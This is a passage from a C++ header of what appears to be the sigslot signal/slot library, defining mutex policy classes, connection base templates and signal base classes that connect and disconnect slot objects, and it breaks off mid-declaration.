multi_threaded_local&)\n\t\t{\n\t\t\tpthread_mutex_init(&m_mutex, NULL);\n\t\t}\n\n\t\tvirtual ~multi_threaded_local()\n\t\t{\n\t\t\tpthread_mutex_destroy(&m_mutex);\n\t\t}\n\n\t\tvirtual void lock()\n\t\t{\n\t\t\tpthread_mutex_lock(&m_mutex);\n\t\t}\n\n\t\tvirtual void unlock()\n\t\t{\n\t\t\tpthread_mutex_unlock(&m_mutex);\n\t\t}\n\n\tprivate:\n\t\tpthread_mutex_t m_mutex;\n\t};\n#endif // _SIGSLOT_HAS_POSIX_THREADS\n\n#ifdef _SIGSLOT_HAS_LWP_THREADS\n\n\tclass multi_threaded_global\n\t{\n\tpublic:\n\t\tmulti_threaded_global()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tmulti_threaded_global(const multi_threaded_global&)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~multi_threaded_global()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual void lock()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual void unlock()\n\t\t{\n\t\t\t;\n\t\t}\n\t};\n\n\tclass multi_threaded_local\n\t{\n\tpublic:\n\t\tmulti_threaded_local()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tmulti_threaded_local(const multi_threaded_local&)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~multi_threaded_local()\n\t\t{\n\t\t}\n\n\t\tvirtual void lock()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual void unlock()\n\t\t{\n\t\t\t;\n\t\t}\n\t};\n\n#endif // _SIGSLOT_HAS_LWP_THREADS\n\n\ttemplate<class mt_policy>\n\tclass lock_block\n\t{\n\tpublic:\n\t\tmt_policy *m_mutex;\n\n\t\tlock_block(mt_policy *mtx)\n\t\t\t: m_mutex(mtx)\n\t\t{\n\t\t\tm_mutex->lock();\n\t\t}\n\n\t\t~lock_block()\n\t\t{\n\t\t\tm_mutex->unlock();\n\t\t}\n\t};\n\n\ttemplate<class mt_policy>\n\tclass has_slots;\n\n\ttemplate<class mt_policy>\n\tclass _connection_base0\n\t{\n\tpublic:\n\t\tvirtual ~_connection_base0() { ; }\n\t\tvirtual has_slots<mt_policy>* getdest() const = 0;\n\t\tvirtual void emit() = 0;\n\t\tvirtual _connection_base0* clone() = 0;\n\t\tvirtual _connection_base0* duplicate(has_slots<mt_policy>* pnewdest) = 0;\n\t};\n\n\ttemplate<class arg1_type, class mt_policy>\n\tclass _connection_base1\n\t{\n\tpublic:\n\t\tvirtual ~_connection_base1() { ; }\n\t\tvirtual has_slots<mt_policy>* getdest() const = 0;\n\t\tvirtual void emit(arg1_type) = 0;\n\t\tvirtual _connection_base1<arg1_type, mt_policy>* clone() = 0;\n\t\tvirtual _connection_base1<arg1_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest) = 0;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class mt_policy>\n\tclass _connection_base2\n\t{\n\tpublic:\n\t\tvirtual ~_connection_base2() { ; }\n\t\tvirtual has_slots<mt_policy>* getdest() const = 0;\n\t\tvirtual void emit(arg1_type, arg2_type) = 0;\n\t\tvirtual _connection_base2<arg1_type, arg2_type, mt_policy>* clone() = 0;\n\t\tvirtual _connection_base2<arg1_type, arg2_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest) = 0;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class mt_policy>\n\tclass _connection_base3\n\t{\n\tpublic:\n\t\tvirtual ~_connection_base3() { ; }\n\t\tvirtual has_slots<mt_policy>* getdest() const = 0;\n\t\tvirtual void emit(arg1_type, arg2_type, arg3_type) = 0;\n\t\tvirtual _connection_base3<arg1_type, arg2_type, arg3_type, mt_policy>* clone() = 0;\n\t\tvirtual _connection_base3<arg1_type, arg2_type, arg3_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest) = 0;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type, class mt_policy>\n\tclass _connection_base4\n\t{\n\tpublic:\n\t\tvirtual ~_connection_base4() { ; }\n\t\tvirtual has_slots<mt_policy>* getdest() const = 0;\n\t\tvirtual void emit(arg1_type, arg2_type, arg3_type, arg4_type) = 0;\n\t\tvirtual _connection_base4<arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>* clone() = 0;\n\t\tvirtual _connection_base4<arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest) = 0;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class mt_policy>\n\tclass _connection_base5\n\t{\n\tpublic:\n\t\tvirtual ~_connection_base5() { ; }\n\t\tvirtual has_slots<mt_policy>* getdest() const = 0;\n\t\tvirtual void emit(arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type) = 0;\n\t\tvirtual _connection_base5<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, mt_policy>* clone() = 0;\n\t\tvirtual _connection_base5<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest) = 0;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class arg6_type, class mt_policy>\n\tclass _connection_base6\n\t{\n\tpublic:\n\t\tvirtual ~_connection_base6() { ; }\n\t\tvirtual has_slots<mt_policy>* getdest() const = 0;\n\t\tvirtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type,\n\t\t\targ6_type) = 0;\n\t\tvirtual _connection_base6<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, mt_policy>* clone() = 0;\n\t\tvirtual _connection_base6<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest) = 0;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class arg6_type, class arg7_type, class mt_policy>\n\tclass _connection_base7\n\t{\n\tpublic:\n\t\tvirtual ~_connection_base7() { ; }\n\t\tvirtual has_slots<mt_policy>* getdest() const = 0;\n\t\tvirtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type,\n\t\t\targ6_type, arg7_type) = 0;\n\t\tvirtual _connection_base7<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, mt_policy>* clone() = 0;\n\t\tvirtual _connection_base7<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest) = 0;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class arg6_type, class arg7_type, class arg8_type, class mt_policy>\n\tclass _connection_base8\n\t{\n\tpublic:\n\t\tvirtual ~_connection_base8() { ; }\n\t\tvirtual has_slots<mt_policy>* getdest() const = 0;\n\t\tvirtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type,\n\t\t\targ6_type, arg7_type, arg8_type) = 0;\n\t\tvirtual _connection_base8<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>* clone() = 0;\n\t\tvirtual _connection_base8<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest) = 0;\n\t};\n\n\ttemplate<class mt_policy>\n\tclass _signal_base : public mt_policy\n\t{\n\tpublic:\n\t\tvirtual void slot_disconnect(has_slots<mt_policy>* pslot) = 0;\n\t\tvirtual void slot_duplicate(const has_slots<mt_policy>* poldslot, has_slots<mt_policy>* pnewslot) = 0;\n\t};\n\n\ttemplate<class  mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass has_slots : public mt_policy\n\t{\n\tprivate:\n\t\ttypedef typename std::set<_signal_base<mt_policy> *> sender_set;\n\t\ttypedef typename sender_set::const_iterator const_iterator;\n\n\tpublic:\n\t\thas_slots()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\thas_slots(const has_slots& hs)\n\t\t\t: mt_policy(hs)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = hs.m_senders.begin();\n\t\t\tconst_iterator itEnd = hs.m_senders.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->slot_duplicate(&hs, this);\n\t\t\t\tm_senders.insert(*it);\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tvoid signal_connect(_signal_base<mt_policy>* sender)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tm_senders.insert(sender);\n\t\t}\n\n\t\tvoid signal_disconnect(_signal_base<mt_policy>* sender)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tm_senders.erase(sender);\n\t\t}\n\n\t\tvirtual ~has_slots()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = m_senders.begin();\n\t\t\tconst_iterator itEnd = m_senders.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->slot_disconnect(this);\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_senders.erase(m_senders.begin(), m_senders.end());\n\t\t}\n\n\tprivate:\n\t\tsender_set m_senders;\n\t};\n\n\ttemplate<class mt_policy>\n\tclass _signal_base0 : public _signal_base<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename std::list<_connection_base0<mt_policy> *>  connections_list;\n\t\ttypedef typename connections_list::const_iterator const_iterator;\n\t\ttypedef typename connections_list::iterator iterator;\n\n\t\t_signal_base0()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\t_signal_base0(const _signal_base0& s)\n\t\t\t: _signal_base<mt_policy>(s)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator  it = s.m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = s.m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_connect(this);\n\t\t\t\tm_connected_slots.push_back((*it)->clone());\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\t~_signal_base0()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it  = m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_disconnect(this);\n\t\t\t\tdelete *it;\n\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end());\n\t\t}\n\n\t\tvoid disconnect(has_slots<mt_policy>* pclass)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == pclass)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\tpclass->signal_disconnect(this);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tbool connected()\n\t\t{\n\t\t\treturn m_connected_slots.size() != 0;\n\t\t}\n\n\t\tvoid slot_disconnect(has_slots<mt_policy>* pslot)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titerator itNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\tif((*it)->getdest() == pslot)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\t//\t\t\tdelete *it;\n\t\t\t\t}\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_policy>* newtarget)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == oldtarget)\n\t\t\t\t{\n\t\t\t\t\tm_connected_slots.push_back((*it)->duplicate(newtarget));\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\tprotected:\n\t\tconnections_list m_connected_slots;\n\t};\n\n\ttemplate<class arg1_type, class mt_policy>\n\tclass _signal_base1 : public _signal_base<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename std::list<_connection_base1<arg1_type, mt_policy> *>  connections_list;\n\t\ttypedef typename connections_list::const_iterator const_iterator;\n\t\ttypedef typename connections_list::iterator iterator;\n\n\t\t_signal_base1()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\t_signal_base1(const _signal_base1<arg1_type, mt_policy>& s)\n\t\t\t: _signal_base<mt_policy>(s)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = s.m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = s.m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_connect(this);\n\t\t\t\tm_connected_slots.push_back((*it)->clone());\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tvoid slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_policy>* newtarget)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == oldtarget)\n\t\t\t\t{\n\t\t\t\t\tm_connected_slots.push_back((*it)->duplicate(newtarget));\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\t~_signal_base1()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_disconnect(this);\n\t\t\t\tdelete *it;\n\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end());\n\t\t}\n\n\t\tvoid disconnect(has_slots<mt_policy>* pclass)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == pclass)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\tpclass->signal_disconnect(this);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tbool connected()\n\t\t{\n\t\t\treturn m_connected_slots.size() != 0;\n\t\t}\n\n\t\tvoid slot_disconnect(has_slots<mt_policy>* pslot)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titerator itNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\tif((*it)->getdest() == pslot)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\t//\t\t\tdelete *it;\n\t\t\t\t}\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\n\tprotected:\n\t\tconnections_list m_connected_slots;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class mt_policy>\n\tclass _signal_base2 : public _signal_base<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename std::list<_connection_base2<arg1_type, arg2_type, mt_policy> *>\n\t\t\tconnections_list;\n\t\ttypedef typename connections_list::const_iterator const_iterator;\n\t\ttypedef typename connections_list::iterator iterator;\n\n\t\t_signal_base2()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\t_signal_base2(const _signal_base2<arg1_type, arg2_type, mt_policy>& s)\n\t\t\t: _signal_base<mt_policy>(s)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = s.m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = s.m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_connect(this);\n\t\t\t\tm_connected_slots.push_back((*it)->clone());\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tvoid slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_policy>* newtarget)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == oldtarget)\n\t\t\t\t{\n\t\t\t\t\tm_connected_slots.push_back((*it)->duplicate(newtarget));\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\t~_signal_base2()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_disconnect(this);\n\t\t\t\tdelete *it;\n\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end());\n\t\t}\n\n\t\tvoid disconnect(has_slots<mt_policy>* pclass)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == pclass)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\tpclass->signal_disconnect(this);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tbool connected()\n\t\t{\n\t\t\treturn m_connected_slots.size() != 0;\n\t\t}\n\n\t\tvoid slot_disconnect(has_slots<mt_policy>* pslot)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titerator itNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\tif((*it)->getdest() == pslot)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\t//\t\t\tdelete *it;\n\t\t\t\t}\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\tprotected:\n\t\tconnections_list m_connected_slots;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class mt_policy>\n\tclass _signal_base3 : public _signal_base<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef std::list<_connection_base3<arg1_type, arg2_type, arg3_type, mt_policy> *>\n\t\t\tconnections_list;\n\n\t\ttypedef typename connections_list::const_iterator const_iterator;\n\t\ttypedef typename connections_list::iterator iterator;\n\t\t_signal_base3()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\t_signal_base3(const _signal_base3<arg1_type, arg2_type, arg3_type, mt_policy>& s)\n\t\t\t: _signal_base<mt_policy>(s)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = s.m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = s.m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_connect(this);\n\t\t\t\tm_connected_slots.push_back((*it)->clone());\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tvoid slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_policy>* newtarget)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == oldtarget)\n\t\t\t\t{\n\t\t\t\t\tm_connected_slots.push_back((*it)->duplicate(newtarget));\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\t~_signal_base3()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_disconnect(this);\n\t\t\t\tdelete *it;\n\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end());\n\t\t}\n\n\t\tvoid disconnect(has_slots<mt_policy>* pclass)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == pclass)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\tpclass->signal_disconnect(this);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tbool connected()\n\t\t{\n\t\t\treturn m_connected_slots.size() != 0;\n\t\t}\n\n\t\tvoid slot_disconnect(has_slots<mt_policy>* pslot)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titerator itNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\tif((*it)->getdest() == pslot)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\t//\t\t\tdelete *it;\n\t\t\t\t}\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\tprotected:\n\t\tconnections_list m_connected_slots;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type, class mt_policy>\n\tclass _signal_base4 : public _signal_base<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef std::list<_connection_base4<arg1_type, arg2_type, arg3_type,\n\t\t\targ4_type, mt_policy> *>  connections_list;\n\t\ttypedef typename connections_list::const_iterator const_iterator;\n\t\ttypedef typename connections_list::iterator iterator;\n\n\t\t_signal_base4()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\t_signal_base4(const _signal_base4<arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>& s)\n\t\t\t: _signal_base<mt_policy>(s)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = s.m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = s.m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_connect(this);\n\t\t\t\tm_connected_slots.push_back((*it)->clone());\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tvoid slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_policy>* newtarget)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == oldtarget)\n\t\t\t\t{\n\t\t\t\t\tm_connected_slots.push_back((*it)->duplicate(newtarget));\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\t~_signal_base4()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_disconnect(this);\n\t\t\t\tdelete *it;\n\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end());\n\t\t}\n\n\t\tvoid disconnect(has_slots<mt_policy>* pclass)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == pclass)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tthis->m_connected_slots.erase(it);\n\t\t\t\t\tpclass->signal_disconnect(this);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tbool connected()\n\t\t{\n\t\t\treturn m_connected_slots.size() != 0;\n\t\t}\n\n\t\tvoid slot_disconnect(has_slots<mt_policy>* pslot)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titerator itNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\tif((*it)->getdest() == pslot)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\t//\t\t\tdelete *it;\n\t\t\t\t}\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\tprotected:\n\t\tconnections_list m_connected_slots;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class mt_policy>\n\tclass _signal_base5 : public _signal_base<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef std::list<_connection_base5<arg1_type, arg2_type, arg3_type,\n\t\t\targ4_type, arg5_type, mt_policy> *>  connections_list;\n\t\ttypedef typename connections_list::const_iterator const_iterator;\n\t\ttypedef typename connections_list::iterator iterator;\n\n\t\t_signal_base5()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\t_signal_base5(const _signal_base5<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, mt_policy>& s)\n\t\t\t: _signal_base<mt_policy>(s)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = s.m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = s.m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_connect(this);\n\t\t\t\tm_connected_slots.push_back((*it)->clone());\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tvoid slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_policy>* newtarget)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == oldtarget)\n\t\t\t\t{\n\t\t\t\t\tm_connected_slots.push_back((*it)->duplicate(newtarget));\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\t~_signal_base5()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_disconnect(this);\n\t\t\t\tdelete *it;\n\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end());\n\t\t}\n\n\t\tvoid 